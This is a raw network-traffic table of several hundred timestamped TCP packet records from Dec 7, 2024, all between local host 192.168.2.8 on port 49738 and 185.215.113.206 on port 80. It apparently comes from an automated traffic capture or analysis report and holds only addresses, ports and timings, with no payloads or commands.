Dec 7, 2024 15:06:44.797355890 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.797420979 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.797457933 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.798458099 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.798468113 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.798506021 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.834141016 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.834259033 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.834492922 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.834539890 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.834677935 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.834691048 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.834718943 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.834732056 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.835254908 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.835300922 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.835736990 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.835779905 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.836148024 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.836189032 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.836301088 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.836334944 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.837033033 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.837076902 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.837482929 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.837538958 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.837888956 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.837934017 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.838115931 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.838162899 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.838735104 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.838787079 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.839039087 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.839087963 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.839704990 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.839754105 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.839874029 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.839920044 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.840578079 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.840590954 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.840627909 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.840640068 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.841413975 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.841594934 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.841614962 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.841656923 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.842354059 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.842406034 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.842434883 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.842474937 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.843291044 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.843337059 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.843624115 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.843667030 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.844054937 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.844100952 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.844450951 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.844496012 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.844876051 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.844943047 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.845201969 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.845247030 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.845818043 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.845829964 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.845859051 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.845873117 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.846654892 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.846699953 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.846937895 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.846977949 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.847641945 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.847687960 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.847822905 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.847865105 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.848490000 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.848534107 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.848954916 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.848998070 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.849414110 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.849425077 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.849456072 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.849471092 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.850322962 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.850334883 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.850382090 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.850382090 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.851032019 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.851088047 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.891043901 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.891108990 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.891146898 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.891187906 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.891484022 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.891540051 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.891705036 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.891843081 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.892406940 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.892450094 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.892616034 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.892657042 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.893209934 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.893254042 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.958635092 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.958780050 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.958794117 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.958894968 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.958930969 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.958972931 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.959009886 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.959054947 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.959808111 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.959852934 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.960042953 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.960089922 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.960699081 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.960746050 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.960977077 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.961021900 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.961568117 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.961615086 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.961785078 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.961832047 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.962461948 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.962507963 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.962737083 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.962781906 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.963363886 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.963376999 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.963414907 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.964266062 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.964335918 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.964366913 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.964411974 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.965090036 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.965192080 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.965352058 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.965406895 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.965924978 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.965979099 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.966267109 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.966315031 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.966778994 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.966824055 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.966861963 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.966908932 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.967681885 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.967724085 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.967747927 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.967761040 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.968616009 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.968662024 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.968678951 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.968696117 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.969448090 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.969494104 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.969584942 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.969630957 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.970339060 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.970388889 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.970442057 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.970489979 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.971219063 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.971265078 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.971456051 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.971508026 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.972059965 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.972106934 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.972203016 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.972249031 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.973007917 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.973057985 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.973059893 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.973098040 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.973881960 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.973897934 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.973938942 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.974699974 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.974747896 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.974795103 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.974841118 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.975580931 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.975627899 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.975874901 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.975923061 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.976454020 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.976500988 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.976569891 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.976617098 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.977447033 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.977498055 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.977931023 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.977977037 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.978208065 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.978256941 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.978277922 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.978322029 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.979095936 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.979145050 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.979398966 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.979454994 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.980001926 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.980082035 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.980099916 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.980143070 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.980882883 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.980930090 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.980993986 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.981040001 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.981741905 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.981787920 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.981826067 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.981873035 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.982681990 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.982733011 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.982757092 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.982801914 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.983469009 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.983514071 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.983607054 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.983664989 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.984371901 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.984415054 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.026556969 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.026626110 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.026858091 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.026918888 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.027018070 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.027029991 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.027066946 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.027683020 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.027731895 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.027923107 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.027971029 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.028599024 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.028610945 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.028646946 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.029460907 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.029508114 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.029675007 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.029722929 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.030303001 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.030349970 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.030380964 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.030441046 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.031163931 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.031213045 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.031250954 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.031299114 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.032051086 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.032098055 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.032177925 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.032226086 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.032951117 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.032998085 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.033863068 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.033876896 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.033915997 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.033915997 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.033957005 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.034666061 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.034714937 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.034755945 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.034801960 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.035551071 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.035574913 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.035634995 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.035634995 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.036391973 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.036446095 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.036794901 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.036842108 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.037261963 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.037309885 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.037378073 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.037425995 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.038171053 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.038182974 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.038218975 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.038234949 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.039019108 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.039067984 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.039513111 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.039557934 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.039930105 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.039969921 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.039979935 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.040008068 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.040770054 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.040818930 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.041687965 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.041699886 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.041735888 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.041748047 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.041917086 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.041963100 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.042521954 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.042609930 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.042790890 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.042835951 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.043369055 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.043416023 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.083383083 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.083456039 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.083857059 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.083869934 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.083913088 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.083924055 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.083962917 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.084760904 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.084806919 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.084810972 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.084846020 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.085563898 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.085611105 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.151196003 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.151278019 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.151289940 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.151331902 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.151654005 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.151716948 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.151752949 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.151798010 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.152395010 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.152445078 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.152479887 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.152523994 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.153255939 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.153302908 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.153338909 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.153383970 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.154107094 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.154153109 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.154177904 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.154227018 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.155067921 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.155112028 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.155198097 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.155241966 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.155869007 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.155908108 CET	80	49738	185.215.113.206	192.168.2.8
